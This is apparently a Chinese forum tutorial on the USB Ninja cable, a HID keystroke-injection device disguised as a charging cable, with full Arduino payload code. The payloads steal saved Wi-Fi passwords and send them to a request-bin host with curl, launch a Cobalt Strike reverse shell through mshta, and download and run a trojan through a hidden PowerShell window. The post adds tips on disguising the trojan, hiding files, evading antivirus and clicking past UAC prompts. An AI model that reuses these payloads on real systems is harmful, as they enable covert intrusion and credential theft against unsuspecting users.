前言
USB ninja翻译过来就是USB忍者,算是badusb的一种,属于HID攻击设备。在那之前我们先了解下什么是HID攻击
HID攻击原理
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备。一般来讲针对HID的攻击主要集中
在键盘鼠标上因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中 当用户
将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。简而言之,今天要介绍的usb ninja利用的是虚拟键盘来
实现恶意代码的执行,而它与badusb不同的是,它把代码隐藏在数据线中,更具有迷惑性。
介绍一下常见HID设备
依次为:大黄鸭、树莓派zero W,WHID以及我们今天的主角儿usbninja
设备介绍
和无线电师傅冰尘py交易一波,拿到usbninja,到手之后,里面有以下几样东西
1、数据线(我要了type-C的接口,因为现在手机主流都是type-C)
2、外壳
3、天线
4、触发代码上传机制的磁铁
5、主板
电池介绍
使用为LIR2032 3.7V可充电电池,而还有一种电池与它相似CR2032 3V一次性电池
当我们的可充电电池寿命用尽时,请去五金店购买LIR2032,切记不要买错,因为给CR2032充电可能会发生爆炸(切记)
组装没啥难度,直接把外壳用螺丝刀拧上就行了
软件下载
使用Arduino 进行编写代码,下载链接如下
https://share.weiyun.com/5aNlfTg
usbninja驱动程序
https://usbninja.com/drivers_tools/USBninja_BOOT_driver.zip
函数介绍
Arduino IDE中使用的开发语言是C,一个程序在Arduino IDE中被成为 sketch,每个 sketch 都包含一个 setup
函数和一个 loop 函数。程序启动,首先调用 setup,这个函
数只被调用一次,loop 函数会被不停的重复调用下去。
软件设置
点击文件,首选项,进行设置开发板管理器,调用此链接
http://usbninja.com/arduino/package_USBNinja_index.json
设置完成后,点击工具,开发板管理,进行加载管理器,需VPN,然后拉到最下面,有个USB ninja进行安装
烧录时开发板选择USB Ninja cable(BLE+Hall sensor)
语法介绍
usbninja使用Ducky Script脚本,按键字符解释如下(呜呜呜,人哭了,复制过来不是整整齐齐的)
GUI windows菜单键
WINDOWS windows菜单键
SHIFT shift键
ALT Alt键
CONTROL Ctrl键
CTRL Ctrl键
可进行组合,举例:
KEY_LEFT_CTRL 左ctrl键
KEY_LEFT_GUI 左win键,也代表command键
KEY_CENTER_ARROW 确认键
KEY_BACKSPACE 退格键
DOWN_ARROW 下箭头
DOWN 下箭头
LEFT_ARROW 左箭头
LEFT 左箭头
RIGHT_ARROW 右箭头
RIGHT 右箭头
UP_ARROW 上箭头
UP 上箭头
BREAK Pause键
PAUSE 和上一个是一样的
CAPS_LOCK 大写键
DELETE 删除键
END END结束键
ESC 键盘上左上角的键
ESCAPE 键盘上左上角的键
HOME Home键
INSERT 插入键
NUMLOCK 键盘锁键
PAGEUP 上翻页键
PAGEDOWN 下翻页键
PRINTSCREEN 屏幕截屏键
SCROLLLOCK Scrolllock(滚动锁定)键
SPACE 空格键
TAB Tab键
DELAY 延时
DEFAULT_DELAY 延时
DEFAULTDELAY 延时
REPEAT 重复指令
USBON 切换到Ninja的USB口,原本通道关闭
USBOFF 切换至原来的USB口,关闭Ninja的USB通道
CAPSLOCK ON 大写锁定,使用之后,保证电脑一直在大写锁定态
CAPSLOCK OFF 大写锁定关,保证电脑在非大写锁定态
PLUGAUTORUN 后面跟数字,下一次插入直接运行数字对应的SLOT里面存储的脚本
MSCREAD 手动将ROM里面的数据加载到RAM,也就是挂载U盘操作
MSCSAVE 手动将RAM里面的数据加载到ROM,也就是断开并保持U盘内容
MSCWIPE 擦除ROM盘里面的数据
MSCFORM 格式化ROM盘中的数据
MSCONOFF 后跟参数0或者1,为1时U盘功能启动
delay(5000); //延迟5000ms也就是5秒
Keyboard.begin() //开始键盘通讯
Keyboard.end() //结束键盘通讯
Keyboard.press(); //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来
Keyboard.release(); //释放键盘按键
Keyboard.println(""); //输入字符串使用双引号括起来
Keyboard.printin(""); //输入执行的命令
Keyboard.sendKeyStroke();//组合按键
Mouse.begin(); //鼠标事件开始
Mouse.click(); //鼠标单击
Mouse.end(); //鼠标事件结束
Mouse.move(); //鼠标移动(x,y)
Mouse.press(); //鼠标按下
Mouse.release(); //鼠标松开
Mouse.isPressed(); //检查鼠标当前的按键状态
代码示例与演示
PS:实际上只能写两个payload我这里为了方便直接贴在一起了。
- #include <NinjaKeyboard.h>
- void setup()
- {
- //SetRunOnce(PAYLOADA,true);
- //SetRunOnce(PAYLOADB,true);
- //If you want payload to run only once, run this function.
- }
- //
- void loop() {}
- /*
- When the Bluetooth remote control button A is pressed.
- The program in payloadA() will be executed in a loop.
- Until the button A is released.
- */
- void payloadA()
- {
- USBninjaOnline();
- NinjaKeyboard.begin();
- NinjaKeyboard.delay(1000);
- NinjaKeyboard.sendKeyStroke(0);
- NinjaKeyboard.delay(1000);
- NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
- NinjaKeyboard.delay(200);
- NinjaKeyboard.print(F("cmd"));
- NinjaKeyboard.sendKeyStroke(KEY_ENTER);
- NinjaKeyboard.delay(1000);
- NinjaKeyboard.println("netsh wlan export profile key=clear && type *.xml >666.txt && curl http://requestbin.n
- et/r/12zzzzz1 -F file=@666.txt && exit"); //获取WIFI信息,平台使用的http://requestbin.net相当于ceye平台数据外带
- NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
- NinjaKeyboard.delay(100);
- NinjaKeyboard.sendKeyStroke(KEY_ENTER);
- NinjaKeyboard.delay(100);
- NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
- NinjaKeyboard.delay(100);
- NinjaKeyboard.end();
- USBninjaOffline();
- NinjaKeyboard.begin();
- }
- void payloadB()
- {
-
- USBninjaOnline();
- NinjaKeyboard.begin();
- NinjaKeyboard.delay(1000);
- NinjaKeyboard.sendKeyStroke(0);
- NinjaKeyboard.delay(1000);
- NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //按下win键+R键
- NinjaKeyboard.delay(100);
- NinjaKeyboard.println("mshta.exe http://127.0.0.1/1.hta"); //运行CS木马反弹shell
- NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
- NinjaKeyboard.delay(100);
- NinjaKeyboard.sendKeyStroke(KEY_ENTER); //回车
- NinjaKeyboard.delay(100);
- NinjaKeyboard.sendKeyStroke(KEY_ENTER);
- NinjaKeyboard.delay(500);
- NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
- NinjaKeyboard.delay(100);
- NinjaKeyboard.end();
- USBninjaOffline();
- NinjaKeyboard.begin();
- }
- void payloadC()
- {
-
- USBninjaOnline();
- NinjaKeyboard.begin();
- NinjaKeyboard.delay(300);
- NinjaKeyboard.sendKeyStroke(0);
- NinjaKeyboard.delay(1000);
- NinjaKeyboard.sendKeyStroke(KEY_R, KEY_LEFT_GUI); //按下win键+R键
- NinjaKeyboard.delay(100);
- NinjaKeyboard.sendKeyStroke(KEY_CAPS_LOCK);
- NinjaKeyboard.delay(500);
- NinjaKeyboard.println("cmd /T:01 /K "[url=home.php?mod=space&uid=46675]@echo[/url]
- off && mode con:COLS=15 LINES=1"");
- NinjaKeyboard.delay(500);
- NinjaKeyboard.sendKeyStroke(KEY_RETURN);
- NinjaKeyboard.delay(500);
- NinjaKeyboard.println("powershell");
- NinjaKeyboard.delay(500);
- NinjaKeyboard.println("$clnt = new-object system.net.webclient;");
- NinjaKeyboard.println("$url='http://101.xxx.xxx.xxx/SUSU.exe';"); //xxx 为你服务器 ip,susu 为生
- //成的木马文件(可以把名字命名成什么 360update 之类的)
- NinjaKeyboard.println("$file = 'd:\\SUSU.exe';"); //下载到目标存放文件的地址
- NinjaKeyboard.println("$clnt.downloadfile($url,$file);"); //用分段执行绕过进程防护
- NinjaKeyboard.delay(500);
- NinjaKeyboard.println("d:\\SUSU.exe"); //这里可以自行研究隐藏文件放到 D 盘,
- //因为 C 盘可能没权限。思路:可使用 attrib +h +s SUSU.exe 将文件隐藏
- NinjaKeyboard.println("exit");//退出当前窗口
- NinjaKeyboard.delay(3000);
- NinjaKeyboard.println("exit");
- NinjaKeyboard.sendKeyStroke(KEY_RETURN);
- NinjaKeyboard.sendKeyStroke(KEY_CAPS_LOCK);
- NinjaKeyboard.end();
- USBninjaOffline();
- NinjaKeyboard.begin();//结束键盘通讯
- }
复制代码
验证完代码之后,进行上传,会提示插入数据线
Please plug in the USBNinja device ...
插入姿势
录入代码完毕
1、paylaodA
获取WIFI信息,使用平台http://requestbin.net
执行之后获得目标机的WIFI信息,在平台进行查看
name为WIFI的名字
protected为密码是否加密
KeyMaterial为密码
在测试的时候只发现一个明文密码,可正常连接该WIFI,其他都为加密密码。
2、payloadB
使用CS生成.hta结尾的木马
按下A按钮,执行payloadB,反弹shell
别问payloadB和C木马免不免杀,人已自闭,之前CS+veil生成的代码还是能过360 火绒的
现在厂商都摸透了,希望师傅们有好的免杀方法能带带弟弟
payloadA和payloadB演示视频
https://www.bilibili.com/video/BV1xT4y1u7kp/
3、payloadC
看代码,很好理解,以小窗模式打开cmd,分段执行命令下载木马,执行木马,退出
不使用小窗,执行时的截图,看一眼,懂powershell的师傅就很好理解了
能够过360的变形虫防护,但是由于木马不免杀,所以只能暂时这么演示一下了,大佬谅解
演示视频
http://tools.sunian.top/payloadC.mp4
UAC绕过(badusb也可使用)
看到好多师傅说用模拟点击进行绕过的,其实不用那么麻烦。
直接可以使用Alt+y绕过UAC,在执行HID攻击时我们需要使用管理员的权限时可执行ctrl+shift+Enter。
防御手段
1、不使用未知来源的U盘,数据线等与电脑交互的设备。
2、使用转接器,如下图所示
如果有什么不对的地方请大佬指出! |